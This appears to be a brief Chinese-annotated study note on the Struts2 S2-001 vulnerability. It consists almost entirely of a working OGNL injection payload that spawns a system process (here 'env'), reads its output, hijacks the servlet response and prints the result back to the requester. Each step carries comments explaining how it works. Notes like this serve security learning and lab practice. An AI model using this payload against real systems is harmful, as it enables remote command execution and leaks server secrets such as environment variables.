

S2-001

```
%{ //触发OGNL解析引擎
#a=(new java.lang.ProcessBuilder(new java.lang.String[]
{"env"})).redirectErrorStream(true).start(), //创建系统级子进程绕过shell限制调用内核执行
命令, new java.lang.String[]建立数组用于防止歧义, redirectErrorStream将子进程stderr合并
到stdout, 可看报错
#b=#a.getInputStream(), //获得原始二进制字节
#c=new java.io.InputStreamReader(#b), //将字节流解码为字符流
#d=new java.io.BufferedReader(#c), //开辟缓冲区并存入c
#e=new char[50000], //建立e数组
#d.read(#e), //将缓冲区内容写入e数组
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), //劫持响
应, 控制输出n
#f.getWriter().println(new java.lang.String(#e)), //将数组转为字符串
#f.getWriter().flush(), //强制冲刷缓冲区, java的io设计要缓冲区满了才发送数据, 这用于不管满
没满直接发数据
#f.getWriter().close() //关闭输出流 (截断响应), 减少多余内容
}
```